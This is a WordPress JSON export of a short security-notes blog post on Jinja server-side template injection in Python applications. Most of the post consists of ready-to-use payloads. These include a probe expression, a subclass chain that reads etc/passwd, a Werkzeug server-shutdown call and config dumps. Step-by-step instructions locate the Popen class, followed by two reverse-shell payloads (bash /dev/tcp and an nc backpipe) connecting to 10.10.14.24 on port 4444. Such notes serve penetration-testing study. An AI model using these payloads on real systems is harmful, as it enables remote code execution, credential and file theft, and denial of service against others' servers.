{"id":4990,"date":"2026-06-10T16:32:29","date_gmt":"2026-06-10T14:32:29","guid":{"rendered":"https:\/\/infosec.andreas-klingler.de\/?p=4990"},"modified":"2026-06-10T19:26:10","modified_gmt":"2026-06-10T17:26:10","slug":"jinja-template-langauge-python","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=4990","title":{"rendered":"Jinja template langauge (Python, \u2026)"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Check with {{ 7+3 }} if this is exe\u00adcut\u00aded, if a Python inter\u00adpreter is using the tem\u00adplate jin\u00adja engine.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">{{ 7+3 }}<br>{{[].__class__.__base__.__subclasses__().pop(40)('etc\/passwd').read() }}<br>{{ request.environ[\u2018werkzeug.server.shutdown\u2019]() }} \/\/ ...<br><br>{{ config.items() }} \/\/ Read all config variables<br>{{ config|pprint }} <\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Exam\u00adple:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Exe\u00adcute the fol\u00adlow\u00ading to get an array of avail\u00adable class\u00ades.<br><pre>{{ ''.__class__.__mro__[1].__subclasses__() }}<\/pre><br><p>This returns some\u00adthing like&nbsp;this.<\/p><br><pre>[&lt;class 'type'&gt;, &lt;class 'weakref'&gt;, &lt;class 'weakcallableproxy'&gt;, ...<\/pre><br><\/li>\n\n\n\n<li>Look if this includes <em>Popen<\/em>. If yes, note the index.<br><img loading=\"lazy\" decoding=\"async\" width=\"420\" height=\"132\" class=\"aligncenter wp-image-1731 size-full\" src=\"https:\/\/andreas-klingler.de\/infosec\/wp-content\/uploads\/2020\/02\/Bildschirmfoto-2020-11-19-um-22.00.57.png\" alt srcset=\"https:\/\/infosec.andreas-klingler.de\/wp-content\/uploads\/2020\/02\/Bildschirmfoto-2020-11-19-um-22.00.57.png 420w, https:\/\/infosec.andreas-klingler.de\/wp-content\/uploads\/2020\/02\/Bildschirmfoto-2020-11-19-um-22.00.57-300x94.png 300w\" sizes=\"auto, (max-width: 420px) 100vw, 420px\">In this case, we have popen at index 407 (line 408 \u2014&nbsp;1).<\/li>\n\n\n\n<li>{{\u201d.__class__.__mro__[1].__subclasses__()[407](\u201cbash \u2011i &gt;<span class=\"amp\">&amp;<\/span> \/dev\/tcp\/10.10.14.24\/4444 0&gt;<span class=\"amp\">&amp;<\/span>1\u201d,shell=True,stdout=-1, stderr=-1).communicate()}}<\/li>\n\n\n\n<li>{{\u201d.__class__.__mro__[1].__subclasses__()[407](\u201cmknod \/tmp\/backpipe p <span class=\"amp\">&amp;<\/span><span class=\"amp\">&amp;<\/span> \/bin\/sh 0&lt;\/tmp\/backpipe | nc 10.10.14.24 4444 1&gt;\/tmp\/backpipe\u201d,shell=True,stdout=-1, stderr=-1).communicate()}}<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>https:\/\/medium.com\/@akshukatkar\/rce-with-flask-jinja-template-injection-ea5d0201b870<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Check with {{ 7+3 }} if this is exe\u00adcut\u00aded, if a Python inter\u00adpreter is using the tem\u00adplate jin\u00adja engine. {{ 7+3 }}{{[].__class__.__base__.__subclasses__().pop(40)(\u2018etc\/passwd\u2019).read() }}{{ request.environ[\u2018werkzeug.server.shutdown\u2019]() }} \/\/ \u2026{{ config.items() }} \/\/ Read all con\u00adfig vari\u00adables{{ config|pprint }} Example:<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[468],"tags":[290,178,540],"class_list":["post-4990","post","type-post","status-publish","format-standard","hentry","category-general","tag-jinja","tag-python","tag-template"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/4990","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4990"}],"version-history":[{"count":2,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/4990\/revisions"}],"predecessor-version":[{"id":5008,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/4990\/revisions\/5008"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4990"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4990"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4990"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}